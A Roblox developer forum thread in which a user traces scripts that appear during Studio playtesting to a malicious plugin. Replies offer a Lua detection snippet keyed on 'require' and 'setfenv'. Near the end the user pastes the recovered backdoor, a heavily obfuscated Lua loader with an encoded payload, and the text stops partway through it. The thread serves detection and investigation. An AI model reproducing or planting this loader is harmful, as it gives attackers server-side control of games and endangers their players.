Malicious script during playtesting?

This is a support category for asking questions about how to get something done on the Roblox websites or how to do something on Roblox applications such as Roblox Studio.

You can write your topic however you want, but you need to answer these questions:

  1. I have an issue with Studio when it comes to playtesting.

  2. Whenever I playtest, these scripts appear under random items in the Workspace. I have no idea how these scripts got there, and I would like to find a way to remove them. I understand that these may be malicious, but I do not know how they even “happen” in the first place!? Could it be a hacked plugin?


    image

  3. I have no clue how to solve this. Has anyone else experienced anything similar ?

(Just a quick note: these scripts are not there while I am building in studio, and my world has absolutely no free models at all.)

you got a virus in your game that duplicates a script in all of the objects of your game, try looking for " " in the explorer search bar (space) and a script should pop up, delete the script that pops up.

3 Likes

If it happens while you are in studio, it is most likely a plugin you have installed. If the scripts only appear when you have started the game in studio then there might be a script that got inserted with a free model, so I’d recommend going through all your scripts and checking them.

2 Likes

Nothing comes up
image

wait, not backspace, I meant space.

If it still doesnt comes up then search for “script” and look for strange names, you can also look for “vaccine” or “infection” or “d00m”, usually assets with this name are viruses. It will not work if you search for those names while playtesting.

1 Like

I’ve looked for " ", and all of the names you just mentioned. still- nothing pops up. :confused:

ok, the last thing you can do to fix this is to look at all the scripts in the game. Also make sure to check very carefully if there are any viruses when you add free models (assets from the toolbox).
(basically the thing this “virus” does is add a backdoor in your game)

1 Like

I did that (it was easy since i didn’t have a lot of instances in the Place) but I still couldn’t find anything

are you sure this issue is still happening? because your game has no scripts.

1 Like

I am sure
They only appear during playtesting, and I can’t find them anywhere in Studio while I’m building.
This has been going on for a couple of days now, and I find it kind of frustrating that this happens, even when I create a brand new world and just add a couple of parts. :frowning_face:

Happens when you use free models, ROBLOX warns everyone atleast twice before inserting a model, simply delete the model you inserted or always check for useless scripts inside of parts.

1 Like

perhaps one of your plugins are inserting them?

If searching script in the explorer tab doesnt show any scripts, then that must be whats happening

2 Likes

oh, I know why this is happening, it’s because of a plugin you have installed, try disabling all the plugins and let me know if the issue still happens, if not then you can check every single plugin you have installed and delete the one who causes this.

1 Like

I think this may be it- I’ll try it and share my results once I’m done

to find the script that’s causing it you can run this code in the run command bar before loading into the game

for _,v in ipairs(game:GetDescendants()) do
  if v:IsA("LuaSourceContainer") then
    if not v.Name:lower():find("roblox") and not v.Name:lower():find("core") then
      if v.Source:find("require") then
      warn(v.Name .. " May Potentially Be A Malicous Script")
      warn(v.Name .. "s Ancestry is: " .. v:GetFullName())
     end
    end
  end
end

if this false flags too many scripts or doesn’t find anything try changing require to setfenv or LinkedSource

1 Like

This is most likely a plugin. Send the script, we’ll perform some investigation. We discovered from the last investigation the virus adding in a server-side executor.

1 Like

Update - it was a plugin. it’s gone now since I deleted it, and the supposed backdoor scripts no longer appear during playtesting

2 Likes

This is the malicious script i found during playtesting.
I’m also interested in finding out what this investigation leads to - If you guys find anything please let me know!

return(function(xD_IIIlIlIlI,xD_lIllllllllllIlllllIlI,xD_lIllllllllllIlllllIlI)local xD_llllIIIlIIlllIIl=string.char;local xD_IlIIlIIllIlIllI=string.sub;local xD_lIllllllIlIIlIllIlIII=table.concat;local xD_lIlIIIIlII=math.ldexp;local xD_IIIlllllIlIlIlIII=getfenv or function()return _ENV end;local xD_llIIllllIIllIIIlllI=select;local xD_IllllIlIllIIIlIlIlIIlII=unpack or table.unpack;local xD_IIIlIlll=tonumber;local function xD_IllllIIlIlIIllIlIII(xD_IIIlIlIlI)local xD_IlIIIlIlllIIIIIIIlll,xD_lIlIIlIlIIllIIlIIlIlI,xD_IlIlIllIIll="","",{}local xD_lIllIIllllIIIlIlllIIIl=256;local xD_lllIlIll={}for xD_lIllllllllllIlllllIlI=0,xD_lIllIIllllIIIlIlllIIIl-1 do xD_lllIlIll[xD_lIllllllllllIlllllIlI]=xD_llllIIIlIIlllIIl(xD_lIllllllllllIlllllIlI)end;local xD_lIllllllllllIlllllIlI=1;local function xD_IllllIlIllIIIlIlIlIIlII()local xD_IlIIIlIlllIIIIIIIlll=xD_IIIlIlll(xD_IlIIlIIllIlIllI(xD_IIIlIlIlI,xD_lIllllllllllIlllllIlI,xD_lIllllllllllIlllllIlI),36)xD_lIllllllllllIlllllIlI=xD_lIllllllllllIlllllIlI+1;local xD_lIlIIlIlIIllIIlIIlIlI=xD_IIIlIlll(xD_IlIIlIIllIlIllI(xD_IIIlIlIlI,xD_lIllllllllllIlllllIlI,xD_lIllllllllllIlllllIlI+xD_IlIIIlIlllIIIIIIIlll-1),36)xD_lIllllllllllIlllllIlI=xD_lIllllllllllIlllllIlI+xD_IlIIIlIlllIIIIIIIlll;return xD_lIlIIlIlIIllIIlIIlIlI end;xD_IlIIIlIlllIIIIIIIlll=xD_llllIIIlIIlllIIl(xD_IllllIlIllIIIlIlIlIIlII())xD_IlIlIllIIll[1]=xD_IlIIIlIlllIIIIIIIlll;while xD_lIllllllllllIlllllIlI<#xD_IIIlIlIlI do local xD_lIllllllllllIlllllIlI=xD_IllllIlIllIIIlIlIlIIlII()if xD_lllIlIll[xD_lIllllllllllIlllllIlI]then xD_lIlIIlIlIIllIIlIIlIlI=xD_lllIlIll[xD_lIllllllllllIlllllIlI]else xD_lIlIIlIlIIllIIlIIlIlI=xD_IlIIIlIlllIIIIIIIlll..xD_IlIIlIIllIlIllI(xD_IlIIIlIlllIIIIIIIlll,1,1)end;xD_lllIlIll[xD_lIllIIllllIIIlIlllIIIl]=xD_IlIIIlIlllIIIIIIIlll..xD_IlIIlIIllIlIllI(xD_lIlIIlIlIIllIIlIIlIlI,1,1)xD_IlIlIllIIll[#xD_IlIlIllIIll+1],xD_IlIIIlIlllIIIIIIIlll,xD_lIllIIllllIIIlIlllIIIl=xD_lIlIIlIlIIllIIlIIlIlI,xD_lIlIIlIlIIllIIlIIlIlI,xD_lIllIIllllIIIlIlllIIIl+1 end;return table.concat(xD_IlIlIllIIll)end;local xD_IIIlIlll=xD_IllllIIlIlIIllIlIII('24G24R27524R24V27625O25M25I25Q24R24H27626K25Q26726W25Q26126525E25K27D27F27526X26625H27K27M27O27D24J27626A26026W26726625R25E25G24R24S27626125Q26226625E28D24R24U27626326125E25H26727727626425M26125H28J27627L26125G26128A27927I25P25Q25H26524R28027526725G25H26625I25L27L27E27624F24B24D24924324C24924824D24327624R24Y27625527R24R24Q27623V29W27524P24R2552A724R24O2A62762A82A82A52A62782A62AG24R24T29W24I2A227624V2AD2752AQ2A32AT27624Z2AR28X2AE25524K27628K2AE2A62AA2762AO2B829W2BA27528B2BD29Z29W29B2BI2A92AP2BJ2B629Z28B2A32A12552AA2A82742AZ2AR2A827624N2A62A324R24M2762C5275');local xD_lIllllllllllIlllllIlI=(bit or bit32);local xD_lIllIIllllIIIlIlllIIIl=xD_lIllllllllllIlllllIlI and xD_lIllllllllllIlllllIlI.bxor or function(xD_lIllllllllllIlllllIlI,xD_IlIIIlIlllIIIIIIIlll)local xD_lIlIIlIlIIllIIlIIlIlI,xD_lIllIIllllIIIlIlllIIIl,xD_IlIIlIIllIlIllI=1,0,10 while xD_lIllllllllllIlllllIlI>0 and xD_IlIIIlIlllIIIIIIIlll>0 do local xD_IlIIlIIllIlIllI,xD_lllIlIll=xD_lIllllllllllIlllllIlI%2,xD_IlIIIlIlllIIIIIIIlll%2 if xD_IlIIlIIllIlIllI~=xD_lllIlIll then xD_lIllIIllllIIIlIlllIIIl=xD_lIllIIllllIIIlIlllIIIl+xD_lIlIIlIlIIllIIlIIlIlI end xD_lIllllllllllIlllllIlI,xD_IlIIIlIlllIIIIIIIlll,xD_lIlIIlIlIIllIIlIIlIlI=(xD_lIllllllllllIlllllIlI-xD_IlIIlIIllIlIllI)/2,(xD_IlIIIlIlllIIIIIIIlll-xD_lllIlIll)/2,xD_lIlIIlIlIIllIIlIIlIlI*2 end if xD_lIllllllllllIlllllIlI<xD_IlIIIlIlllIIIIIIIlll then xD_lIllllllllllIlllllIlI=xD_IlIIIlIlllIIIIIIIlll end while xD_lIllllllllllIlllllIlI>0 do local xD_IlIIIlIlllIIIIIIIlll=xD_lIllllllllllIlllllIlI%2 if xD_IlIIIlIlllIIIIIIIlll>0 then xD_lIllIIllllIIIlIlllIIIl=xD_lIllIIllllIIIlIlllIIIl+xD_lIlIIlIlIIllIIlIIlIlI end xD_lIllllllllllIlllllIlI,xD_lIlIIlIlIIllIIlIIlIlI=(xD_lIllllllllllIlllllIlI-xD_IlIIIlIlllIIIIIIIlll)/2,xD_lIlIIlIlIIllIIlIIlIlI*2 end return xD_lIllIIllllIIIlIlllIIIl end local function xD_lIlIIlIlIIllIIlIIlIlI(xD_IlIIIlIlllIIIIIIIlll,xD_lIllllllllllIlllllIlI,xD_lIlIIlIlIIllIIlIIlIlI)if xD_lIlIIlIlIIllIIlIIlIlI then local xD_lIllllllllllIlllllIlI=(xD_IlIIIlIlllIIIIIIIlll/2^(xD_lIllllllllllIlllllIlI-1))%2^((xD_lIlIIlIlIIllIIlIIlIlI-1)-(xD_lIllllllllllIlllllIlI-1)+1);return xD_lIllllllllllIlllllIlI-xD_lIllllllllllIlllllIlI%1;else local xD_lIllllllllllIlllllIlI=2^(xD_lIllllllllllIlllllIlI-1);return(xD_IlIIIlIlllIIIIIIIlll%(xD_lIllllllllllIlllllIlI+xD_lIllllllllllIlllllIlI)>=xD_lIllllllllllIlllllIlI)and 1 or 0;end;end;local xD_lIllllllllllIlllllIlI=1;local function xD_IlIIIlIlllIIIIIIIlll()local xD_IlIIlIIllIlIllI,xD_IlIIIlIlllIIIIIIIlll,xD_lIlIIlIlIIllIIlIIlIlI,xD_lllIlIll=xD_IIIlIlIlI(xD_IIIlIlll,xD_lIllllllllllIlllllIlI,xD_lIllllllllllIlllllIlI+3);xD_IlIIlIIllIlIllI=xD_lIllIIllllIIIlIlllIIIl(xD_IlIIlIIllIlIllI,171)xD_IlIIIlIlllIIIIIIIlll=xD_lIllIIllllIIIlIlllIIIl(xD_IlIIIlIlllIIIIIIIlll,171)xD_lIlIIlIlIIllIIlIIlIlI=xD_lIllIIllllIIIlIlllIIIl(xD_lIlIIlIlIIllIIlIIlIlI,171)xD_lllIlIll=xD_lIllIIllllIIIlIlllIIIl(xD_lllIlIll,171)xD_lIllllllllllIlllllIlI=xD_lIllllllllllIlllllIlI+4;return(xD_lllIlIll*16777216)+(xD_lIlIIlIlIIllIIlIIlIlI*65536)+(xD_IlIIIlIlllIIIIIIIlll*256)+xD_IlIIlIIllIlIllI;end;local function xD_IlIlIllIIll()local xD_IlIIIlIlllIIIIIIIlll=xD_lIllIIllllIIIlIlllIIIl(xD_IIIlIlIlI(xD_IIIlIlll,xD_lIllllllllllIlllllIlI,xD_lIllllllllllIlllllIlI),171);xD_lIllllllllllIlllllIlI=xD_lIllllllllllIlllllIlI+1;return xD_IlIIIlIlllIIIIIIIlll;end;local function xD_lllIlIll()local xD_IlIIIlIlllIIIIIIIlll,xD_lIlIIlIlIIllIIlIIlIlI=xD_IIIlIlIlI(xD_IIIlIlll,xD_lIllllllllllIlllllIlI,xD_lIllllllllllIlllllIlI+2);xD_IlIIIlIlllIIIIIIIlll=xD_lIllIIllllIIIlIlllIIIl(xD_IlIIIlIlllIIIIIIIlll,171)xD_lIlIIlIlIIllIIlIIlIlI=xD_lIllIIllllIIIlIlllIIIl(xD_lIlIIlIlIIllIIlIIlIlI,171)xD_lIllllllllllIlllllIlI=xD_lIllllllllllIlllllIlI+2;return(xD_lIlIIlIlIIllIIlIIlIlI*256)+xD_IlIIIlIlllIIIIIIIlll;end;local function xD_IllllIIlIlIIllIlIII()local xD_lIllIIllllIIIlIlllIIIl=xD_IlIIIlIlllIIIIIIIlll();local xD_lIllllllllllIlllllIlI=xD_IlIIIlIlllIIIIIIIlll();local xD_IlIIlIIllIlIllI=1;local xD_lIllIIllllIIIlIlllIIIl=(xD_lIlIIlIlIIllIIlIIlIlI(xD_lIllllllllllIlllllIlI,1,20)*(2^32))+xD_lIllIIllllIIIlIlllIIIl;local xD_IlIIIlIlllIIIIIIIlll=xD_lIlIIlIlIIllIIlIIlIlI(xD_lIllllllllllIlllllIlI,21,31);local xD_lIllllllllllIlllllIlI=((-1)^xD_lIlIIlIlIIllIIlIIlIlI(xD_lIllllllllllIlllllIlI,32));if(xD_IlIIIlIlllIIIIIIIlll==0)then if(xD_lIllIIllllIIIlIlllIIIl==0)then return xD_lIllllllllllIlllllIlI*0;else xD_IlIIIlIlllIIIIIIIlll=1;xD_IlIIlIIllIlIllI=0;end;elseif(xD_IlIIIlIlllIIIIIIIlll==2047)then return(xD_lIllIIllllIIIlIlllIIIl==0)and(xD_lIllllllllllIlllllIlI*(1/0))or(xD_lIllllllllllIlllllIlI*(0/0));end;return xD_lIlIIIIlII(xD_lIllllllllllIlllllIlI,xD_IlIIIlIlllIIIIIIIlll-1023)*(xD_IlIIlIIllIlIllI+(xD_lIllIIllllIIIlIlllIIIl/(2^52)));end;local xD_lIlIIIIlII=xD_IlIIIlIlllIIIIIIIlll;local function xD_IIllIIllIlII(xD_IlIIIlIlllIIIIIIIlll)local xD_lIlIIlIlIIllIIlIIlIlI;if(not xD_IlIIIlIlllIIIIIIIlll)then xD_IlIIIlIlllIIIIIIIlll=xD_lIlIIIIlII();if(xD_IlIIIlIlllIIIIIIIlll==0)then return'';end;end;xD_lIlIIlIlIIllIIlIIlIlI=xD_IlIIlIIllIlIllI(xD_IIIlIlll,xD_lIllllllllllIlllllIlI,xD_lIllllllllllIlllllIlI+xD_IlIIIlIlllIIIIIIIlll-1);xD_lIllllllllllIlllllIlI=xD_lIllllllllllIlllllIlI+xD_IlIIIlIlllIIIIIIIlll;local xD_IlIIIlIlllIIIIIIIlll={}for xD_lIllllllllllIlllllIlI=1,#xD_lIlIIlIlIIllIIlIIlIlI do xD_IlIIIlIlllIIIIIIIlll[xD_lIllllllllllIlllllIlI]=xD_llllIIIlIIlllIIl(xD_lIllIIllllIIIlIlllIIIl(xD_IIIlIlIlI(xD_IlIIlIIllIlIllI(xD_lIlIIlIlIIllIIlIIlIlI,xD_lIllllllllllIlllllIlI,xD_lIllllllllllIlllllIlI)),171))end return xD_lIllllllIlIIlIllIlIII(xD_IlIIIlIlllIIIIIIIlll);end;local xD_lIllllllllllIlllllIlI=xD_IlIIIlIlllIIIIIIIlll;local function xD_llllIIIlIIlllIIl(...)return{...},xD_llIIllllIIllIIIlllI('#',...)end local function xD_IIIlIlll()local xD_IllllIlIllIIIlIlIlIIlII={};local xD_IlIIlIIllIlIllI={};local xD_lIllllllllllIlllllIlI={};local xD_IIIlIlIlI={[#{"1 + 1 = 111";"1 + 1 = 111";}]=xD_IlIIlIIllIlIllI,[#{"1 + 1 = 111";{472;761;630;663};{338;817;804;601};}]=nil,[#{{820;686;66;993};"1 + 1 = 111";"1 + 1 = 111";"1 + 1 = 111";}]=xD_lIllllllllllIlllllIlI,[#{{315;597;967;345};}]=xD_IllllIlIllIIIlIlIlIIlII,};local xD_lIllllllllllIlllllIlI=xD_IlIIIlIlllIIIIIIIlll()local xD_lIllIIllllIIIlIlllIIIl={}for xD_lIlIIlIlIIllIIlIIlIlI=1,xD_lIllllllllllIlllllIlI do local xD_IlIIIlIlllIIIIIIIlll=xD_IlIlIllIIll();local xD_lIllllllllllIlllllIlI;if(xD_IlIIIlIlllIIIIIIIlll==2)then xD_lIllllllllllIlllllIlI=(xD_IlIlIllIIll()~=0);elseif(xD_IlIIIlIlllIIIIIIIlll==3)then xD_lIllllllllllIlllllIlI=xD_IllllIIlIlIIllIlIII();elseif(xD_IlIIIlIlllIIIIIIIlll==0)then xD_lIllllllllllIlllllIlI=xD_IIllIIllIlII();end;xD_lIllIIllllIIIlIlllIIIl[xD_lIlIIlIlIIllIIlIIlIlI]=xD_lIllllllllllIlllllIlI;end;for xD_lIllllllllllIlllllIlI=1,xD_IlIIIlIlllIIIIIIIlll()do xD_IlIIlIIllIlIllI[xD_lIllllllllllIlllllIlI-1]=xD_IIIlIlll();end;for xD_IIIlIlIlI=1,xD_IlIIIlIlllIIIIIIIlll()do local xD_lIllllllllllIlllllIlI=xD_IlIlIllIIll();if(xD_lIlIIlIlIIllIIlIIlIlI(xD_lIllllllllllIlllllIlI,1,1)==0)then local xD_IlIIlIIllIlIllI=xD_lIlIIlIlIIllIIlIIlIlI(xD_lIllllllllllIlllllIlI,2,3);local xD_IlIlIllIIll=xD_lIlIIlIlIIllIIlIIlIlI(xD_lIllllllllllIlllllIlI,4,6);local xD_lIllllllllllIlllllIlI={xD_lllIlIll(),xD_lllIlIll(),nil,nil};if(xD_IlIIlIIllIlIllI==0)then xD_lIllllllllllIlllllIlI[#("hCi")]=xD_lllIlIll();xD_lIllllllllllIlllllIlI[#("bO2B")]=xD_lllIlIll();elseif(xD_IlIIlIIllIlIllI==1)then xD_lIllllllllllIlllllIlI[#("o7k")]=xD_IlIIIlIlllIIIIIIIlll();elseif(xD_IlIIlIIllIlIllI==2)then xD_lIllllllllllIlllllIlI[#("rsW")]=xD_IlIIIlIlllIIIIIIIlll()-(2^16)elseif(xD_IlIIlIIllIlIllI==3)then xD_lIllllllllllIlllllIlI[#("rDm")]=xD_IlIIIlIlllIIIIIIIlll()-(2^16)xD_lIllllllllllIlllllIlI[#("5u97")]=xD_lllIlIll();end;if(xD_lIlIIlIlIIllIIlIIlIlI(xD_IlIlIllIIll,1,1)==1)then xD_lIllllllllllIlllllIlI[#("ed")]=xD_lIllIIllllIIIlIlllIIIl[xD_lIllllllllllIlllllIlI[#("5E")]]end if(xD_lIlIIlIlIIllIIlIIlIlI(xD_IlIlIllIIll,2,2)==1)then xD_lIllllllllllIlllllIlI[#("Ri0")]=xD_lIllIIllllIIIlIlllIIIl[xD_lIllllllllllIlllllIlI[#("411")]]end if(xD_lIlIIlIlIIllIIlIIlIlI(xD_IlIlIllIIll,3,3)==1)then xD_lIllllllllllIlllllIlI[#("1RPn")]=xD_lIllIIllllIIIlIlllIIIl[xD_lIllllllllllIlllllIlI[#{"1 + 1 = 111";"1 + 1 = 111";"1 + 1 = 111";"1 + 1 = 111";}]]end xD_IllllIlIllIIIlIlIlIIlII[xD_IIIlIlIlI]=xD_lIllllllllllIlllllIlI;end end;xD_IIIlIlIlI[3]=xD_IlIlIllIIll();return xD_IIIlIlIlI;end;local function xD_lIlIIIIlII(xD_lIllllllllllIlllllIlI,xD_IlIIIlIlllIIIIIIIlll,xD_lllIlIll)xD_lIllllllllllIlllllIlI=(xD_lIllllllllllIlllllIlI==true and xD_IIIlIlll())or xD_lIllllllllllIlllllIlI;return(function(...)local xD_IlIIlIIllIlIllI=xD_lIllllllllllIlllllIlI[1];local xD_lIllIIllllIIIlIlllIIIl=xD_lIllllllllllIlllllIlI[3];local xD_lIllllllllllIlllllIlI=xD_lIllllllllllIlllllIlI[2];local xD_IIIlIlll=xD_llllIIIlIIlllIIl local xD_lIlIIlIlIIllIIlIIlIlI=1;local xD_IIIlIlIlI=-1;local xD_lIlIIIIlII={};local xD_llllIIIlIIlllIIl={...};local xD_IlIlIllIIll=xD_llIIllllIIllIIIlllI('#',...)-1;local xD_lIllllllllllIlllllIlI={};local xD_IlIIIlIlllIIIIIIIlll={};for xD_lIllllllllllIlllllIlI=0,xD_IlIlIllIIll do if(xD_lIllllllllllIlllllIlI>=xD_lIllIIllllIIIlIlllIIIl)then xD_lIlIIIIlII[xD_lIllllllllllIlllllIlI-xD_lIllIIllllIIIlIlllIIIl]=xD_llllIIIlIIlllIIl[xD_lIllllllllllIlllllIlI+1];else xD_IlIIIlIlllIIIIIIIlll[xD_lIllllllllllIlllllIlI]=xD_llllIIIlIIlllIIl[xD_lIllllllllllIlllllIlI+#{"1 + 1 = 111";}];end;end;local xD_lIllllllllllIlllllIlI=xD_IlIlIllIIll-xD_lIllIIllllIIIlIlllIIIl+1 local xD_lIllllllllllIlllllIlI;local xD_lIllIIllllIIIlIlllIIIl;while true do xD_lIllllllllllIlllllIlI=xD_IlIIlIIllIlIllI[xD_lIlIIlIlIIllIIlIIlIlI];xD_lIllIIllllIIIlIlllIIIl=xD_lIllllllllllIlllllIlI[#("X")];if xD_lIllIIllllIIIlIlllIIIl<=#("f5arsAZp4aVE")then if xD_lIllIIllllIIIlIlllIIIl<=#("AM3du")then if xD_lIllIIllllIIIlIlllIIIl<=#("KO")then if xD_lIllIIllllIIIlIlllIIIl<=#("")then local xD_lIllIIllllIIIlIlllIIIl=xD_lIllllllllllIlllllIlI[#("ZF")];local xD_lIlIIlIlIIllIIlIIlIlI=xD_IlIIIlIlllIIIIIIIlll[xD_lIllllllllllIlllllIlI[#("Ugn")]];xD_IlIIIlIlllIIIIIIIlll[xD_lIllIIllllIIIlIlllIIIl+1]=xD_lIlIIlIlIIllIIlIIlIlI;xD_IlIIIlIlllIIIIIIIlll[xD_lIllIIllllIIIlIlllIIIl]=xD_lIlIIlIlIIllIIlIIlIlI[xD_lIllllllllllIlllllIlI[#("HBAd")]];elseif xD_lIllIIllllIIIlIlllIIIl>#("R")then local xD_lIllllllllllIlllllIlI=xD_lIllllllllllIlllllIlI[#("9f")]xD_IlIIIlIlllIIIIIIIlll[xD_lIllllllllllIlllllIlI]=xD_IlIIIlIlllIIIIIIIlll[xD_lIllllllllllIlllllIlI](xD_IlIIIlIlllIIIIIIIlll[xD_lIllllllllllIlllllIlI+1])else xD_lIlIIlIlIIllIIlIIlIlI=xD_lIllllllllllIlllllIlI[#("EdY")];end;elseif xD_lIllIIllllIIIlIlllIIIl<=#("Fon")then xD_lIlIIlIlIIllIIlIIlIlI=xD_lIllllllllllIlllllIlI[#("xWu")];elseif xD_lIllIIllllIIIlIlllIIIl>#("9o9W")then for xD_lIllllllllllIlllllIlI=xD_lIllllllllllIlllllIlI[#("n5")],xD_lIllllllllllIlllllIlI[#("sBF")]do xD_IlIIIlIlllIIIIIIIlll[xD_lIllllllllllIlllllIlI]=nil;end;else local xD_lIllllllllllIlllllIlI=xD_lIllllllllllIlllllIlI[#("XA")]xD_IlIIIlIlllIIIIIIIlll[xD_lIllllllllllIlllllIlI]=xD_IlIIIlIlllIIIIIIIlll[xD_lIllllllllllIlllllIlI](xD_IlIIIlIlllIIIIIIIlll[xD_lIllllllllllIlllllIlI+1])end;elseif xD_lIllIIllllIIIlIlllIIIl<=#("9fX38AWB")then if xD_lIllIIllllIIIlIlllIIIl<=#("6vvbcd")then if xD_IlIIIlIlllIIIIIIIlll[xD_lIllllllllllIlllllIlI[#("YX")]]then xD_lIlIIlIlIIllIIlIIlIlI=xD_lIlIIlIlIIllIIlIIlIlI+1;else xD_lIlIIlIlIIllIIlIIlIlI=xD_lIllllllllllIlllllIlI[#("4Ns")];end;elseif xD_lIllIIllllIIIlIlllIIIl==#("dHPlWQM")then xD_IlIIIlIlllIIIIIIIlll[xD_lIllllllllllIlllllIlI[#("P8")]]=xD_lllIlIll[xD_lIllllllllllIlllllIlI[#("u5q")]];else for xD_lIllllllllllIlllllIlI=xD_lIllllllllllIlllllIlI[#("GF")],xD_lIllllllllllIlllllIlI[#("ku1")]do xD_IlIIIlIlllIIIIIIIlll[xD_lIllllllllllIlllllIlI]=nil;end;end;elseif xD_lIllIIllllIIIlIlllIIIl<=#("uXlMp5VVRO")then if xD_lIllIIllllIIIlIlllIIIl==#("GfkvFXmgx")then local xD_lIllllllllllIlllllIlI=xD_lIllllllllllIlllllIlI[#("L5")]xD_IlIIIlIlllIIIIIIIlll[xD_lIllllllllllIlllllIlI](xD_IllllIlIllIIIlIlIlIIlII(xD_IlIIIlIlllIIIIIIIlll,xD_lIllllllllllIlllllIlI+1,xD_IIIlIlIlI))else local xD_IlIlIllIIll;local xD_lIllIIllllIIIlIlllIIIl;xD_IlIIIlIlllIIIIIIIlll[xD_lIllllllllllIlllllIlI[#("IM")]]=xD_lllIlIll[xD_lIllllllllllIlllllIlI[#("2fC")]];xD_lIlIIlIlIIllIIlIIlIlI=xD_lIlIIlIlIIllIIlIIlIlI+1;xD_lIllllllllllIlllllIlI=xD_IlIIlIIllIlIllI[xD_lIlIIlIlIIllIIlIIlIlI];xD_lIllIIllllIIIlIlllIIIl=xD_lIllllllllllIlllllIlI[#("zK")];xD_IlIlIllIIll=xD_IlIIIlIlllIIIIIIIlll[xD_lIllllllllllIlllllIlI[#("L6Z")]];xD_IlIIIlIlllIIIIIIIlll[xD_lIllIIllllIIIlIlllIIIl+1]=xD_IlIlIllIIll;xD_IlIIIlIlllIIIIIIIlll[xD_lIllIIllllIIIlIlllIIIl]=xD_IlIlIllIIll[xD_lIllllllllllIlllllIlI[#("8UkT")]];xD_lIlIIlIlIIllIIlIIlIlI=xD_lIlIIlIlIIllIIlIIlIlI+1;xD_lIllllllllllIlllllIlI=xD_IlIIlIIllIlIllI[xD_lIlIIlIlIIllIIlIIlIlI];xD_IlIIIlIlllIIIIIIIlll[xD_lIllllllllllIlllllIlI[#("3V")]]=xD_lIllllllllllIlllllIlI[#("TxZ")];xD_lIlIIlIlIIllIIlIIlIlI=xD_lIlIIlIlIIllIIlIIlIlI+1;xD_lIllllllllllIlllllIlI=xD_IlIIlIIllIlIllI[xD_lIlIIlIlIIllIIlIIlIlI];xD_lIllIIllllIIIlIlllIIIl=xD_lIllllllllllIlllllIlI[#("px")]xD_IlIIIlIlllIIIIIIIlll[xD_lIllIIllllIIIlIlllIIIl]=xD_IlIIIlIlllIIIIIIIlll[xD_lIllIIllllIIIlIlllIIIl](xD_IllllIlIllIIIlIlIlIIlII(xD_IlIIIlIlllIIIIIIIlll,xD_lIllIIllllIIIlIlllIIIl+1,xD_lIllllllllllIlllllIlI[#("Eh2")]))xD_lIlIIlIlIIllIIlIIlIlI=xD_lIlIIlIlIIllIIlIIlIlI+1;xD_lIllllllllllIlllllIlI=xD_IlIIlIIllIlIllI[xD_lIlIIlIlIIllIIlIIlIlI];xD_lIllIIllllIIIlIlllIIIl=xD_lIllllllllllIlllllIlI[#{"1 + 1 = 111";{774;559;192;405};}];xD_IlIlIllIIll=xD_IlIIIlIlllIIIIIIIlll[xD_lIllllllllllIlllllIlI[#("iYv")]];xD_IlIIIlIlllIIIIIIIlll[xD_lIllIIllllIIIlIlllIIIl+1]=xD_IlIlIllIIll;xD_IlIIIlIlllIIIIIIIlll[xD_lIllIIllllIIIlIlllIIIl]=xD_IlIlIllIIll[xD_lIllllllllllIlllllIlI[#{"1 + 1 = 111";"1 + 1 = 111";"1 + 1 = 111";"1 + 1 = 111";}]];xD_lIlIIlIlIIllIIlIIlIlI=xD_lIlIIlIlIIllIIlIIlIlI+1;xD_lIllllllllllIlllllIlI=xD_IlIIlIIllIlIllI[xD_lIlIIlIlIIllIIlIIlIlI];xD_lIllIIllllIIIlIlllIIIl=xD_lIllllllllllIlllllIlI[#("On")]xD_IlIIIlIlllIIIIIIIlll[xD_lIllIIllllIIIlIlllIIIl]=xD_IlIIIlIlllIIIIIIIlll[xD_lIllIIllllIIIlIlllIIIl](xD_IlIIIlIlllIIIIIIIlll[xD_lIllIIllllIIIlIlllIIIl+1])xD_lIlIIlIlIIllIIlIIlIlI=xD_lIlIIlIlIIllIIlIIlIlI+1;xD_lIllllllllllIlllllIlI=xD_IlIIlIIllIlIllI[xD_lIlIIlIlIIllIIlIIlIlI];if xD_IlIIIlIlllIIIIIIIlll[xD_lIllllllllllIlllllIlI[#("UF")]]then xD_lIlIIlIlIIllIIlIIlIlI=xD_lIlIIlIlIIllIIlIIlIlI+1;else xD_lIlIIlIlIIllIIlIIlIlI=xD_lIllllllllllIlllllIlI[#("Ny7")];end;end;elseif xD_lIllIIllllIIIlIlllIIIl==#("MEmju5SuKIt")then local xD_lIllllllllllIlllllIlI=xD_lIllllllllllIlllllIlI[#("pS")]local xD_lIllIIllllIIIlIlllIIIl,xD_lIlIIlIlIIllIIlIIlIlI=xD_IIIlIlll(xD_IlIIIlIlllIIIIIIIlll[xD_lIllllllllllIlllllIlI](xD_IlIIIlIlllIIIIIIIlll[xD_lIllllllllllIlllllIlI+1]))xD_IIIlIlIlI=xD_lIlIIlIlIIllIIlIIlIlI+xD_lIllllllllllIlllllIlI-1 local xD_lIlIIlIlIIllIIlIIlIlI=0;for xD_lIllllllllllIlllllIlI=xD_lIllllllllllIlllllIlI,xD_IIIlIlIlI do xD_lIlIIlIlIIllIIlIIlIlI=xD_lIlIIlIlIIllIIlIIlIlI+1;xD_IlIIIlIlllIIIIIIIlll[xD_lIllllllllllIlllllIlI]=xD_lIllIIllllIIIlIlllIIIl[xD_lIlIIlIlIIllIIlIIlIlI];end;else local xD_lIllllllllllIlllllIlI=xD_lIllllllllllIlllllIlI[#("Iz")]xD_IlIIIlIlllIIIIIIIlll[xD_lIllllllllllIlllllIlI](xD_IllllIlIllIIIlIlIlIIlII(xD_IlIIIlIlllIIIIIIIlll,xD_lIllllllllllIlllllIlI+1,xD_IIIlIlIlI))end;elseif xD_lIllIIllllIIIlIlllIIIl<=#("DIkoklykLOxMIJ3kjz")then if xD_lIllIIllllIIIlIlllIIIl<=#("Ko9Tt9C49dBgffc")then if xD_lIllIIllllIIIlIlllIIIl<=#("MlpMaSmU7gKMW")then do return end;elseif xD_lIllIIllllIIIlIlllIIIl>#{"1 + 1 = 111";"1 + 1 = 111";"1 + 1 = 111";{372;842;57;464};{72;489;324;881};"1 + 1 = 111";"1 + 1 = 111";{285;150;762;704};{654;592;286;519};"1 + 1 = 111";{752;265;176;734};"1 + 1 = 111";"1 + 1 = 111";{737;889;922;547};}then xD_lllIlIll[xD_lIllllllllllIlllllIlI[#("JO1")]]=xD_IlIIIlIlllIIIIIIIlll[xD_lIllllllllllIlllllIlI[#{"1 + 1 = 111";"1 + 1 = 111";}]];xD_lIlIIlIlIIllIIlIIlIlI=xD_lIlIIlIlIIllIIlIIlIlI+1;xD_lIllllllllllIlllllIlI=xD_IlIIlIIllIlIllI[xD_lIlIIlIlIIllIIlIIlIlI];for 